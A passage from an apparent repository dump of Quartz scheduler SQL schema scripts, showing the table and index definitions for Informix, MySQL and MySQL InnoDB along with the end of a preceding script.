QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME LONGVARCHAR(200) NOT NULL,\n    TRIGGER_GROUP LONGVARCHAR(200) NOT NULL,\n    STR_PROP_1 LONGVARCHAR(512) NULL,\n    STR_PROP_2 LONGVARCHAR(512) NULL,\n    STR_PROP_3 LONGVARCHAR(512) NULL,\n    INT_PROP_1 NUMERIC(9) NULL,\n    INT_PROP_2 NUMERIC(9) NULL,\n    LONG_PROP_1 NUMERIC(13) NULL,\n    LONG_PROP_2 NUMERIC(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 LONGVARCHAR(1) NULL,\n    BOOL_PROP_2 LONGVARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_blob_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME LONGVARCHAR(80) NOT NULL,\nTRIGGER_GROUP LONGVARCHAR(80) NOT NULL,\nBLOB_DATA OTHER NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_calendars\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nCALENDAR_NAME LONGVARCHAR(80) NOT NULL,\nCALENDAR OTHER NOT NULL,\nPRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n); \n\nCREATE TABLE qrtz_paused_trigger_grps\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  LONGVARCHAR(80) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_fired_triggers \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID LONGVARCHAR(95) NOT NULL,\n    TRIGGER_NAME LONGVARCHAR(80) NOT NULL,\n    TRIGGER_GROUP LONGVARCHAR(80) NOT NULL,\n    INSTANCE_NAME LONGVARCHAR(80) NOT NULL,\n    FIRED_TIME NUMERIC(13) NOT NULL,\n    SCHED_TIME NUMERIC(13) NOT NULL,\n    PRIORITY INTEGER NOT NULL,\n    STATE LONGVARCHAR(16) NOT NULL,\n    JOB_NAME LONGVARCHAR(80) NULL,\n    JOB_GROUP LONGVARCHAR(80) NULL,\n    IS_NONCONCURRENT LONGVARCHAR(1) NULL,\n    REQUESTS_RECOVERY LONGVARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE qrtz_scheduler_state \n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME LONGVARCHAR(80) NOT NULL,\n    LAST_CHECKIN_TIME NUMERIC(13) NOT NULL,\n    CHECKIN_INTERVAL NUMERIC(13) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE qrtz_locks\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  LONGVARCHAR(40) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\ncommit;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_informix.sql",
    "content": "{ }\n{ Thanks to Keith Chew for submitting this. }\n{ }\n{ use the StdJDBCDelegate with Informix. }\n{ }\n{ note that Informix has a 18 cahracter limit on the table name, so the prefix had to be shortened to \"q\" instread of \"qrtz_\" }\n\nCREATE TABLE qblob_triggers (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME varchar(80) NOT NULL,\nTRIGGER_GROUP varchar(80) NOT NULL,\nBLOB_DATA byte in table\n);\n\nALTER TABLE qblob_triggers\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP);\n\n\nCREATE TABLE qcalendars (\nSCHED_NAME VARCHAR(120) NOT NULL,\nCALENDAR_NAME varchar(80) NOT NULL,\nCALENDAR byte in table NOT NULL\n);\n\nALTER TABLE qcalendars\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,CALENDAR_NAME);\n\n\nCREATE TABLE qcron_triggers (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME varchar(80) NOT NULL,\nTRIGGER_GROUP varchar(80) NOT NULL,\nCRON_EXPRESSION varchar(120) NOT NULL,\nTIME_ZONE_ID varchar(80)\n);\n\nALTER TABLE qcron_triggers\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP);\n\n\nCREATE TABLE qfired_triggers (\nSCHED_NAME VARCHAR(120) NOT NULL,\nENTRY_ID varchar(95) NOT NULL,\nTRIGGER_NAME varchar(80) NOT NULL,\nTRIGGER_GROUP varchar(80) NOT NULL,\nINSTANCE_NAME varchar(80) NOT NULL,\nFIRED_TIME numeric(13) NOT NULL,\nSCHED_TIME numeric(13) NOT NULL,\nPRIORITY integer NOT NULL,\nSTATE varchar(16) NOT NULL,\nJOB_NAME varchar(80),\nJOB_GROUP varchar(80),\nIS_NONCONCURRENT varchar(1),\nREQUESTS_RECOVERY varchar(1) \n);\n\nALTER TABLE qfired_triggers\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,ENTRY_ID);\n\n\nCREATE TABLE qpaused_trigger_grps (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_GROUP  varchar(80) NOT NULL\n);\n\nALTER TABLE qpaused_trigger_grps\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP);\n\n\nCREATE TABLE qscheduler_state (\nSCHED_NAME VARCHAR(120) NOT NULL,\nINSTANCE_NAME varchar(80) NOT NULL,\nLAST_CHECKIN_TIME numeric(13) NOT NULL,\nCHECKIN_INTERVAL numeric(13) NOT NULL\n);\n\nALTER TABLE qscheduler_state\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,INSTANCE_NAME);\n\n\nCREATE TABLE qlocks (\nSCHED_NAME VARCHAR(120) NOT NULL,\nLOCK_NAME  varchar(40) NOT NULL\n);\n\nALTER TABLE qlocks\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,LOCK_NAME);\n\n\nCREATE TABLE qjob_details (\nSCHED_NAME VARCHAR(120) NOT NULL,\nJOB_NAME varchar(80) NOT NULL,\nJOB_GROUP varchar(80) NOT NULL,\nDESCRIPTION varchar(120),\nJOB_CLASS_NAME varchar(128) NOT NULL,\nIS_DURABLE varchar(1) NOT NULL,\nIS_NONCONCURRENT varchar(1) NOT NULL,\nIS_UPDATE_DATA varchar(1) NOT NULL,\nREQUESTS_RECOVERY varchar(1) NOT NULL,\nJOB_DATA byte in table\n);\n\nALTER TABLE qjob_details\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,JOB_NAME, JOB_GROUP);\n\n\nCREATE TABLE qsimple_triggers (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME varchar(80) NOT NULL,\nTRIGGER_GROUP varchar(80) NOT NULL,\nREPEAT_COUNT numeric(7) NOT NULL,\nREPEAT_INTERVAL numeric(12) NOT NULL,\nTIMES_TRIGGERED numeric(10) NOT NULL\n);\n\nALTER TABLE qsimple_triggers\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP);\n\n\nCREATE TABLE qsimprop_triggers\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 NUMERIC(9) NULL,\n    INT_PROP_2 NUMERIC(9) NULL,\n    LONG_PROP_1 NUMERIC(13) NULL,\n    LONG_PROP_2 NUMERIC(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n);\n\nALTER TABLE qsimprop_triggers\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP);\n\n\nCREATE TABLE qtriggers (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME varchar(80) NOT NULL,\nTRIGGER_GROUP varchar(80) NOT NULL,\nJOB_NAME varchar(80) NOT NULL,\nJOB_GROUP varchar(80) NOT NULL,\nDESCRIPTION varchar(120),\nNEXT_FIRE_TIME numeric(13),\nPREV_FIRE_TIME numeric(13),\nPRIORITY integer,\nTRIGGER_STATE varchar(16) NOT NULL,\nTRIGGER_TYPE varchar(8) NOT NULL,\nSTART_TIME numeric(13) NOT NULL,\nEND_TIME numeric(13),\nCALENDAR_NAME varchar(80),\nMISFIRE_INSTR numeric(2),\nJOB_DATA byte in table\n);\n\nALTER TABLE qtriggers\nADD CONSTRAINT PRIMARY KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP);\n\n\nALTER TABLE qblob_triggers\nADD CONSTRAINT FOREIGN KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\nREFERENCES qtriggers;\n\n\nALTER TABLE qcron_triggers\nADD CONSTRAINT FOREIGN KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\nREFERENCES qtriggers;\n\n\nALTER TABLE qsimple_triggers\nADD CONSTRAINT FOREIGN KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\nREFERENCES qtriggers;\n\nALTER TABLE qsimprop_triggers\nADD CONSTRAINT FOREIGN KEY (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\nREFERENCES qtriggers;\n\nALTER TABLE qtriggers\nADD CONSTRAINT FOREIGN KEY (SCHED_NAME,JOB_NAME, JOB_GROUP)\nREFERENCES qjob_details; \n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_mysql.sql",
    "content": "#\n# Quartz seems to work best with the driver mm.mysql-2.0.7-bin.jar\n#\n# PLEASE consider using mysql with innodb tables to avoid locking issues\n#\n# In your Quartz properties file, you'll need to set \n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\n#\n\nDROP TABLE IF EXISTS QRTZ_FIRED_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE IF EXISTS QRTZ_SCHEDULER_STATE;\nDROP TABLE IF EXISTS QRTZ_LOCKS;\nDROP TABLE IF EXISTS QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_CRON_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_BLOB_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_JOB_DETAILS;\nDROP TABLE IF EXISTS QRTZ_CALENDARS;\n\n\nCREATE TABLE QRTZ_JOB_DETAILS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL,\n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    JOB_CLASS_NAME   VARCHAR(250) NOT NULL,\n    IS_DURABLE VARCHAR(1) NOT NULL,\n    IS_NONCONCURRENT VARCHAR(1) NOT NULL,\n    IS_UPDATE_DATA VARCHAR(1) NOT NULL,\n    REQUESTS_RECOVERY VARCHAR(1) NOT NULL,\n    JOB_DATA BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE QRTZ_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL,\n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    NEXT_FIRE_TIME BIGINT(13) NULL,\n    PREV_FIRE_TIME BIGINT(13) NULL,\n    PRIORITY INTEGER NULL,\n    TRIGGER_STATE VARCHAR(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR(8) NOT NULL,\n    START_TIME BIGINT(13) NOT NULL,\n    END_TIME BIGINT(13) NULL,\n    CALENDAR_NAME VARCHAR(200) NULL,\n    MISFIRE_INSTR SMALLINT(2) NULL,\n    JOB_DATA BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n        REFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    REPEAT_COUNT BIGINT(7) NOT NULL,\n    REPEAT_INTERVAL BIGINT(12) NOT NULL,\n    TIMES_TRIGGERED BIGINT(10) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CRON_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    CRON_EXPRESSION VARCHAR(200) NOT NULL,\n    TIME_ZONE_ID VARCHAR(80),\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_SIMPROP_TRIGGERS\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_BLOB_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    BLOB_DATA BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CALENDARS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR(200) NOT NULL,\n    CALENDAR BLOB NOT NULL,\n    PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR(200) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID VARCHAR(95) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    FIRED_TIME BIGINT(13) NOT NULL,\n    SCHED_TIME BIGINT(13) NOT NULL,\n    PRIORITY INTEGER NOT NULL,\n    STATE VARCHAR(16) NOT NULL,\n    JOB_NAME VARCHAR(200) NULL,\n    JOB_GROUP VARCHAR(200) NULL,\n    IS_NONCONCURRENT VARCHAR(1) NULL,\n    REQUESTS_RECOVERY VARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE QRTZ_SCHEDULER_STATE\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    LAST_CHECKIN_TIME BIGINT(13) NOT NULL,\n    CHECKIN_INTERVAL BIGINT(13) NOT NULL,\n    PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE QRTZ_LOCKS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  VARCHAR(40) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\n\ncommit;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_mysql_innodb.sql",
    "content": "#\n# In your Quartz properties file, you'll need to set \n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\n#\n#\n# By: Ron Cordell - roncordell\n#  I didn't see this anywhere, so I thought I'd post it here. This is the script from Quartz to create the tables in a MySQL database, modified to use INNODB instead of MYISAM.\n\nDROP TABLE IF EXISTS QRTZ_FIRED_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE IF EXISTS QRTZ_SCHEDULER_STATE;\nDROP TABLE IF EXISTS QRTZ_LOCKS;\nDROP TABLE IF EXISTS QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_CRON_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_BLOB_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_JOB_DETAILS;\nDROP TABLE IF EXISTS QRTZ_CALENDARS;\n\nCREATE TABLE QRTZ_JOB_DETAILS(\nSCHED_NAME VARCHAR(120) NOT NULL,\nJOB_NAME VARCHAR(200) NOT NULL,\nJOB_GROUP VARCHAR(200) NOT NULL,\nDESCRIPTION VARCHAR(250) NULL,\nJOB_CLASS_NAME VARCHAR(250) NOT NULL,\nIS_DURABLE VARCHAR(1) NOT NULL,\nIS_NONCONCURRENT VARCHAR(1) NOT NULL,\nIS_UPDATE_DATA VARCHAR(1) NOT NULL,\nREQUESTS_RECOVERY VARCHAR(1) NOT NULL,\nJOB_DATA BLOB NULL,\nPRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_TRIGGERS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nJOB_NAME VARCHAR(200) NOT NULL,\nJOB_GROUP VARCHAR(200) NOT NULL,\nDESCRIPTION VARCHAR(250) NULL,\nNEXT_FIRE_TIME BIGINT(13) NULL,\nPREV_FIRE_TIME BIGINT(13) NULL,\nPRIORITY INTEGER NULL,\nTRIGGER_STATE VARCHAR(16) NOT NULL,\nTRIGGER_TYPE VARCHAR(8) NOT NULL,\nSTART_TIME BIGINT(13) NOT NULL,\nEND_TIME BIGINT(13) NULL,\nCALENDAR_NAME VARCHAR(200) NULL,\nMISFIRE_INSTR SMALLINT(2) NULL,\nJOB_DATA BLOB NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\nREFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nREPEAT_COUNT BIGINT(7) NOT NULL,\nREPEAT_INTERVAL BIGINT(12) NOT NULL,\nTIMES_TRIGGERED BIGINT(10) NOT NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_CRON_TRIGGERS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nCRON_EXPRESSION VARCHAR(120) NOT NULL,\nTIME_ZONE_ID VARCHAR(80),\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_SIMPROP_TRIGGERS\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_BLOB_TRIGGERS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nBLOB_DATA BLOB NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nINDEX (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_CALENDARS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nCALENDAR_NAME VARCHAR(200) NOT NULL,\nCALENDAR BLOB NOT NULL,\nPRIMARY KEY (SCHED_NAME,CALENDAR_NAME))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_GROUP))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nENTRY_ID VARCHAR(95) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nINSTANCE_NAME VARCHAR(200) NOT NULL,\nFIRED_TIME BIGINT(13) NOT NULL,\nSCHED_TIME BIGINT(13) NOT NULL,\nPRIORITY INTEGER NOT NULL,\nSTATE VARCHAR(16) NOT NULL,\nJOB_NAME VARCHAR(200) NULL,\nJOB_GROUP VARCHAR(200) NULL,\nIS_NONCONCURRENT VARCHAR(1) NULL,\nREQUESTS_RECOVERY VARCHAR(1) NULL,\nPRIMARY KEY (SCHED_NAME,ENTRY_ID))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_SCHEDULER_STATE (\nSCHED_NAME VARCHAR(120) NOT NULL,\nINSTANCE_NAME VARCHAR(200) NOT NULL,\nLAST_CHECKIN_TIME BIGINT(13) NOT NULL,\nCHECKIN_INTERVAL BIGINT(13) NOT NULL,\nPRIMARY KEY (SCHED_NAME,INSTANCE_NAME))\nENGINE=InnoDB;\n\nCREATE TABLE QRTZ_LOCKS (\nSCHED_NAME VARCHAR(120) NOT NULL,\nLOCK_NAME VARCHAR(40) NOT NULL,\nPRIMARY KEY (SCHED_NAME,LOCK_NAME))\nENGINE=InnoDB;\n\nCREATE INDEX IDX_QRTZ_J_REQ_RECOVERY ON QRTZ_JOB_DETAILS(SCHED_NAME,REQUESTS_RECOVERY);\nCREATE INDEX IDX_QRTZ_J_GRP ON QRTZ_JOB_DETAILS(SCHED_NAME,JOB_GROUP);\n\nCREATE INDEX IDX_QRTZ_T_J ON QRTZ_TRIGGERS(SCHED_NAME,JOB_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_T_JG ON QRTZ_TRIGGERS(SCHED_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_T_C ON QRTZ_TRIGGERS(SCHED_NAME,CALENDAR_NAME);\nCREATE INDEX IDX_QRTZ_T_G ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_GROUP);\nCREATE INDEX IDX_QRTZ_T_STATE ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_N_STATE ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_N_G_STATE ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_GROUP,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_NEXT_FIRE_TIME ON QRTZ_TRIGGERS(SCHED_NAME,NEXT_FIRE_TIME);\nCREATE INDEX IDX_QRTZ_T_NFT_ST ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_STATE,NEXT_FIRE_TIME);\nCREATE INDEX IDX_QRTZ_T_NFT_MISFIRE ON QRTZ_TRIGGERS(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME);\nCREATE INDEX IDX_QRTZ_T_NFT_ST_MISFIRE ON QRTZ_TRIGGERS(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_NFT_ST_MISFIRE_GRP ON QRTZ_TRIGGERS(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_GROUP,TRIGGER_STATE);\n\nCREATE INDEX IDX_QRTZ_FT_TRIG_INST_NAME ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,INSTANCE_NAME);\nCREATE INDEX IDX_QRTZ_FT_INST_JOB_REQ_RCVRY ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,INSTANCE_NAME,REQUESTS_RECOVERY);\nCREATE INDEX IDX_QRTZ_FT_J_G ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,JOB_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_FT_JG ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_FT_T_G ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP);\nCREATE INDEX IDX_QRTZ_FT_TG ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,TRIGGER_GROUP);\n\ncommit; \n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_oracle.sql",
